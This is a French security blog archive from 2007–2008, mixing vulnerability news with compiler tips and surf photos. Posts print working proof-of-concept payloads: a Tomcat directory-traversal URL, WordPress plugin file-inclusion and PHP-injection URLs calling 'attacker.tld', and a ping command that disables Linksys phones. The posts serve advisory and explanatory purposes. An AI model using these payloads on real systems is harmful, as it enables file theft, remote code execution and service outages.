Michael VERGOZ

Tomcat : Problème d'encodage UTF-8

Michael Vergoz — Tue, 12 Aug 2008 12:13:00 +0000

Une faille de sécurité a été découverte par Simon Ryeo dans Apache Tomcat. Cette faille permet à un attaquant de recupère des fichiers important (comme /etc/passwd ou un fichier .htpasswd) sur le serveur visé.

En fait il est possible d'effectuer un Directory Traversal. Toute les versions de Tomcat inférieur à la version 6.0.18 sont touché.

Les conditions sont simples : Si allowLinking et URIencoding autorise l'UTF-8 dans votre context.xml ou votre server.xml alors il est possible de recupèrer des fichiers.

Exploit
If your webroot directory has three depth(e.g /usr/local/wwwroot), An
attacker can access arbitrary files as below. (Proof-of-concept)

http://www.target.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar

Solutions :

Désactiver allowLinking ou ne pas utiliser l'UTF-8 dans URIencoding.
Utiliser BinarySEC :)

Références :

http://www.securityfocus.com/bid/30633/info

Faille DNS #2 : On constate les dégâts

Michael Vergoz — Thu, 07 Aug 2008 10:05:00 +0000

L'un des plus grand FAI Français, Free, subit depuis la sortie officielle de la faille DNS des attaques répété qui fatigue leur architecture DNS. Leur serveurs sont à jour mais comme je l'ais dit dans ma précédente brève la correction proposé par les Vendors DNS ne corrige pas le problème. Du coup les botnets se mettent à attaquer dur... très dur...

Pour le moment il n'existe aucune solution. En fait si, il existe une solution : bannir définitivement l'UDP des normes DNS... Solution relativement complexe à mettre en place puisque tout le monde doit accorder leur arc ...

Il n'existe pas d'autre solution. Il faut que ceux qui définissent les normes et ceux implémentent ces normes (Vendor) face quelque chose et vite...

La solution DNSSEC ne résoudra pas le problème comme cela avait été annoncé.

Il faut bannir l'UDP du DNS et maintenant.

Exploit Metasploit qui crée un bordel général

Merci à vYSa

Faille DNS

Michael Vergoz — Tue, 22 Jul 2008 08:47:00 +0000

C'est bien réel, la faille DNS est rendu publique (enfin). Le buzz a extrêmement bien fonctionné. La réalité c'est qu'il est possible de modifier les NS d'un domaine à distance mais il existe un certain nombre de paramètres pour que l'exploitation soit effective :

Il faut un provider (FAI) qui vous autorise à spoofer en UDP
Il faut envoyé environs 50000 possibilités cela représente ~5mo d'upload (une connexion ADSL suffit)
Il ne faut pas avoir DNSSEC :)

La faille consiste à prédire un port source UDP afin de poisonner le DNS visé.

Le patch fourni par ISC pour Bind9 ne corrige pas la faille au sens du design du protocole, elle augmente simplement le nombre de possibilité afin de rendre la prédiction du port moins probable. D'après certaines personnes l'attaque est toujours d'actualité mais nécessite ~100Go d'upload pour poisonner le DNS. L'attaque est maintenant réservé aux botnets capable d'envoyer ces données en quelque seconde... elle est donc distribuable. Plus de place pour la petite connexion ADSL avec laquelle on pouvait poisonné n'importe quel DNS.

En gros c'est pas fini...et ce n'est pas non plus ce type de faille qui aura la peau d'internet car il faut savoir que le DNS a était ajouté bien tard et qu'à l'époque seul les fichiers hosts (/etc/hosts) étaient utilisé et c'est très simple de les réutiliser.

Place au botnets maintenant.

Merci à lkm et yzarc

Références :

Failles critiques sur les produits VoIP Linksys

Michael Vergoz — Tue, 25 Mar 2008 06:17:00 +0000

Le 24.03.2008 à 04:53 (locale) un certain Sipher envoi un mail sur la liste Bugtraq de SecurityFocus concernant un Denial Of Service sur le produit Linksys SPA-2102.

Après quelque minutes de réflection je pars dans des tests locaux sur un téléphone Linksys SPA-942 (version du firmware : 1.0.1(7817)) que je possede.

Un simple PING forgé avec un nombre de données égal à 65500 permet d'effectuer un DoS sur le matériel VoIP.

ping -s 65500 ip_phone

Sur le moment, il ne se passe rien. Puis après quelque secondes l'interface web du téléphone commence à ne plus me répondre... Surpris, je commence à regarder si les fonctions du téléphone sont encore disponible et là pareil, impossible de passer ou de recevoir un appel !

Même après un reboot hard du téléphone impossible de passer des appels et impossible de se connecter sur l'interface web.

Au niveau réseau, le téléphone arrive à s'autentifer une fois sur le serveur IP-PBX mais après quel secondes il ne répond plus aux requêtes SIP (notify, invite ...)

Bilan, cette commande ne génère pas qu'un Denial Of Service mais aussi un Buffer Overflow !

Je pense savoir à peut prêt les raisons pour lesquelles il déborde de la mémoire je ne vais pas étendre mes connaissances sur ce sujet. Tout ce que je peux dire c'est qu'il est possible de réinscrire la configuration du téléphone et qu'il est aussi possible d'écrire sur la mémoire type SSD du téléphone, c'est à dire écrire dans le noyau du téléphone pour par exemple exécuter un virus dans le téléphone. Concernant le type d'architecture je pense que c'est de l'ARM 3.

Et même après quelque "Factory Reset" le téléphone reste inutilisable. Je vais voir pour le réinitialiser d'une autre façon.

J'ai d'autre matériels du même type comme un SPA-3102 qui sont aussi vulnérables.

Je ne sais pas ce que Linksys a à dire mais le fameux Sipher ne semble pas avoir respecté les règles du "Good disclosure" qui consiste à informer le Vendor avant de publier l'information.

On verra comment tout cela ce goupille.

- Annonce sur le blog de Sipher

vmsplice - la faille du retour vers le futur

Michael Vergoz — Wed, 19 Mar 2008 17:54:00 +0000

Après avoir attendu prêt de 6 versions du kernel Linux pour que la failles vmsplice soit corrigé à 100% (elle ne l'est toujours pas même avec la 2.6.24-3) j'ai décidé dans mon coin de désactiver complètement de mon noyau certain appels systèmes.

cela concerne les syscalls sys_vmsplice(), sys_splice() , do_tee() et sys_tee()

Copier simplement ce fichier dans fs/ du répertoire source de Linux : http://webfault.org/data/splice.c

Et croyez le ou pas ce patch est très utile.

Faille sur faille : La bombe du web est là

Michael Vergoz — Sun, 02 Mar 2008 21:39:00 +0000

On dit souvent que c'est en passant le mot que les choses avancent. C'est la raison pour laquelle j'écris cette petite brève. Il faut comprendre une chose avant tout, le niveau critique de sécurité (ou d'insécurité) que nous avons atteint est rare / grave et c'est ce que je vais tenter d'expliquer rapidement.

Précédemment je parlais des failles dans Wordpress, Joomla et PHP-NUKE. Je ne sais pas dire combien de sites exactement utilisent ces Applications mais je connais un certain nombre de groupes d'utilisation. Par exemple, Joomla est reconnu pour être utilisé par les administrations et les sites d'informations. Wordpress est réputé pour être utilisé dans le domaines de l'édition sur le web (un peu comme Joomla) et crawler web. Et pour finir PHP-NUKE que je sais massivement utilisé par les "clans" de Joueurs.

Ensuite il faut prendre en considération trois autres choses :

La première est que ces sites sont, dans pratiquement tous les cas, hébergés sur des serveurs Apache / Linux sauf pour Wordpress qui peut se retrouver à tourner sous Windows et ces applications contiennent des failles connues et facilement exploitables.

La seconde est qu'il y a un nombre très important de failles LOCALES (nécessitant une authentification pour être exploitées) dans le noyau Linux. Vous me direz que ce ne sont que des failles locales. Il faut un contexte utilisateur à l'attaquant sur la machine et le serveur Web Apache qui héberge ces applications vulnérables est considéré comme un utilisateur simple au vu du noyau. Quand un attaquant pénètre le premier niveau - l'application web - il peut exécuter des programmes sur le serveur dans l'environnement de l'utilisateur Apache (www-data en général). A ce moment, les dégâts peuvent être limités MAIS il y a des failles LOCALES qui permettent à l'utilisateur d'élever ses privilèges ! L'attaquant va faire télécharger un petit code par le serveur puis ce dernier va le compiler et l'exécuter et l'utilisateur va finalement se retrouver directement root (administrateur) sur le serveur.

La troisième chose à considérer est les réseaux de Botnet. Quatre heures après la publication d'une faille d'escape shell dans PHP-NUKE je commençais déjà à recevoir des attaques de machine déjà piratées par cette même faille. Les hommes qui sont derrière ces Botnet sont comme des veilleurs et sont très opportunistes. Par la suite j'ai placé quelques pots de miel et je commençais déjà à recevoir des sources d'exploits publiés sur le site de milw0rm. En passant, j'ai un ami qui exécutait des vm complètes et se faisait pirater entièrement son serveur par des robots et des fois par des exploits (source d'un programme malveillant) inconnus.!?!!

La réalité du terrain est catastrophique. Les botnets se sont largement spécialisés et leur techniques sont issu es des White Hat voulant du full disclosure à tout prix. Qui sera capable d'en mesurer les conséquences ? Et qui serait capable de déterminer l'ampleur des dégâts ? La bombe atomique du web est là.

Quelques liens qui font peur :

milw0rm d0ng L!Nux !!HOT!!

Linux Kernel Prior to 2.6.24.1 'copy_from_user_mmap_sem()' Memory Access Vulnerability (Vulnerabilities)

Linux Kernel Prior to 2.6.24.1 '/proc' Local Memory Access Vulnerability

Linux Kernel Prior to 2.6.24.1 'vmsplice_to_user()' Local Memory Access

Linux Kernel Prior to 2.6.24.1 'vmsplice_to_pipe()' Local Privilege Escalation Vulnerability

Wordpress fait froid dans le dos

Michael Vergoz — Mon, 25 Feb 2008 21:55:00 +0000

Tout à l'heure vers 18:00 GMT+4 je vois un advisory sortir concernant le plugin Sniplets de Wordpress.

Je ne fais pas plus attention que ça. L'advisory compte trois failles dont deux que je considére comme critique. Une inclusion de fichiers distant (Remote File Inclusion) et d'une execution de code PHP à distance (Remote Code Execution).

Exemple du Remote File Inclusion
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=http://attacker.tld/shell.txt?

Exemple du Remote Code Execution
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/execute.php?text=%3C?php%20system(%22ls%22);

Quelque heures plus tard nous commencons à recevoir une pluie de requêtes de spam sur nos sites venant de site piraté utilisant du Wordpress.

Après quelque minutes je me rend compte qu'il y a eu pas moins de 8 failles dans Wordpress sur le mois de Février.

Mettez à jour vos applications !

Liste de failles de Wordpress sur SecurityFocus

PHP NUKE devient la 2éme cible des botnets

Michael Vergoz — Mon, 25 Feb 2008 07:47:00 +0000

Ce mois de Février est noir pour l'équipe de développement de PHP-NUKE avec pas moins de 14 vulnérabilités de type SQL injection.

Liste des vulnérabilités sur SecurityFocus

Il semble que les botnets utilisent ces techniques pour injecter des virus sur les sites web. Sur le site de BinarySEC nous avons déja reçu pas moins de 10 attaques venant de site web piraté utilisant PHP-NUKE vulnérable essayant de rebondir sur notre site web. Dans la majeur partie des cas les sites attaquant sont des sites de clan de jeux video.

La cible des botnets préféré reste sans aucun doute Joomla mais avec ces failles les sites web utilisant PHP-NUKE vont sérieusement se faire attaquer.

PHP-NUKE : Logiciel programmé en PHP permettant à un utilisateur de gérer du contenu et fonctionnalités web simplement.

BinarySEC 2.4.0

Michael Vergoz — Mon, 18 Feb 2008 09:28:00 +0000

Cette nouvelle version mineure de BinarySEC intègre un grand nombre d'améliorations. Le moteur d'intelligence artifielle a été amélioré avec notamment l'intégration d'un système de listes rouges, oranges et vertes.

Quand une requête est anormale, elle est classée comme alerte Orange (Anormale & Inconnue). Si celle-ci est un faux positif, vous pouvez la classer en Alerte Verte (Normale & Connue). Les alertes Oranges existantes correspondant à l'alerte Verte seront effacées et le trafic sera normalisé sur le serveur Web.

Si la requête était bien malicieuse et que vous ne souhaitez plus la logger, alors vous pouvez la classer en Alerte Rouge (Anormale & Connue). Toutes les alertes Oranges correspondant à l'alerte Rouge seront effacées et les nouvelles requêtes comparables seront traitées comme du trafic anormal.

L'autre évolution majeure est l'amélioration du moteur de corrélation qui lit plus rapidement les alertes en base de données.

Le tableau de bord et les statistiques ont été largement complétées.

Télécharger BinarySEC 2.4.0 gratuitement

Visiter BinarySEC

Annonce sur Freshmeat

Belle photo du spot les Zegrette à l'ile de la réunion

Michael Vergoz — Tue, 25 Sep 2007 22:27:00 +0000

Hop hop avant de me coucher voici une petite photo que j'ai pris il y a quelque temps au Zegrette (en hiver :) ) chez moi à l'île de la réunion.

Inspiration?

Compiler Apache sans SSP

Michael Vergoz — Sun, 16 Sep 2007 10:44:00 +0000

Un autre petit tip pour compiler Apache 1.3 sans SSP.

$ ./configure --prefix=/je/sais/pas --exec-prefix=/je/sais/pas --enable-module=so
$ make CC="gcc -fno-stack-protector -DEAPI" LD="ld -fno-stack-protector"
$ readelf -a src/httpd | grep stack_chk

Et voila plus de SSP dans Apache :)

Pour Apache > 2.0 et pour APR il ne faut pas utiliser CC et LD mais CFLAGS, et LDFLAGS. En fait à l'époque Apache 1.3 ne gérait pas ces deux dernières variables.

$ make CFLAGS='-fno-stack-protector' LDFLAGS='-fno-stack-protector'

Carton rouge pour Gentoo

Michael Vergoz — Sun, 16 Sep 2007 10:10:00 +0000

Gentoo farci Gentoo farça!

Bon je suis un peut dégouté de Gentoo car au départ, je m'attendais à un système de versionning fiable au niveau du portage et en fait rien, non seulement les références des packages sont perdues mais les sources finissent par disparaitre des mirrors Gentoo. En gros, impossible de faire tourner une vieille gentoo.

Autre chose pas cool, impossible d'emergeR une vieille version d'autoconf genre la 2.53 ou 2.13 nécessaire pour compiler différentes versions d'Apache. Comme dit un pote, comment on peut faire tourner des Gentoo en production ? :(

On est loin des Ports de FreeBSD.

Hermitage - Reunion island

Michael Vergoz — Fri, 14 Sep 2007 22:16:00 +0000

Beau barrel à l'hermitage (ile de la reunion) avec Franck, un pote, dedans :) mv-

Compiler depuis un x86 vers un x86_64 avec GCC

Michael Vergoz — Fri, 14 Sep 2007 16:19:00 +0000

Au départ je pensais que la compilation d'un fichier ELF x86_64 puis un x86 demandait forcément une cross compilation (CBUILD) d'un toolchain x86_64. Et en fait pas du tout, visiblement GCC intégre par défaut la possibilité de compiler vers un x86_64 depuis un x86 (et inversement) par contre pour changer totalement de processeur, typiquement de l'ARM, il est nécessaire de cross compiler des toolchain et là c'est pas la même histoire...

Un petit test :

root@zef:~# gcc -o test.bin test.c -m64
root@zef:~# file test.bin
test.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked (uses shared libs), not stripped
root@zef:~# gcc -o test.bin test.c -m32
root@zef:~# file test.bin
test.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked (uses shared libs), not stripped

Il faut savoir un truc c'est que ça ne fonctionne pas toujours. Par exemple si vous voulez compiler Apache 1.3 depuis un x86 vers du x86_64 eh bien cela ne sera pas possible car le Makefile d'Apache peut compiler des fichiers puis les executer pendant la compilation. La solution c'est d'avoir un CHOST x86_64 + support lib32 qui compile pour du x86_64 et x86.

GCC et le SSP

Michael Vergoz — Fri, 14 Sep 2007 15:48:00 +0000

Depuis la version 2.4 de la glibc des symboles de controle ( comme __stack_chk_fail ) sont intégrés par defaut dans tous les binaires compilés. C'est le SSP dans GCC qui est responsable de cette action et il est possible de désactiver ce SSP avec l'option -fno-stack-protector.

Un petit code C comme exemple :

#include <stdio.h>

#include <pthread.h>



int main() {

        pthread_mutex_t fastmutex = PTHREAD_MUTEX_INITIALIZER;

        pthread_mutex_lock(&fastmutex);

        printf("Tst\n");

        pthread_mutex_unlock(&fastmutex);

}

Ensuite on teste :

none@zef:~# gcc -O2 -o test.bin test.c
none@zef:~# readelf -a test.bin | grep _stack_
080496c8  00000507 R_386_JUMP_SLOT   00000000   __stack_chk_fail
     5: 00000000    70 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (3)
    75: 00000000    70 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@@GLIBC_2
none@zef:~# gcc -O2 -fno-stack-protector -o test.bin test.c
none@zef:~# readelf -a test.bin | grep _stack_
none@zef:~#

Ca rend de fait portable le binaire pour des glibc > 2.3 :)

none@zef:~# file /lib/libc-2.5.so
/lib/libc-2.5.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, stripped
none@zef:~# gcc -O2 -o test.bin test.c
none@zef:~# readelf -a test.bin | grep -i GLIBC_2.4
     5: 00000000    70 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (3)
  004:   2 (GLIBC_2.0)     3 (GLIBC_2.4)     2 (GLIBC_2.0)     1 (*global*)
  0x0010:   Name: GLIBC_2.4  Flags: none  Version: 3
none@zef:~# gcc -O2 -fno-stack-protector -o test.bin test.c
none@zef:~# readelf -a test.bin | grep -i GLIBC_2.4
none@zef:~#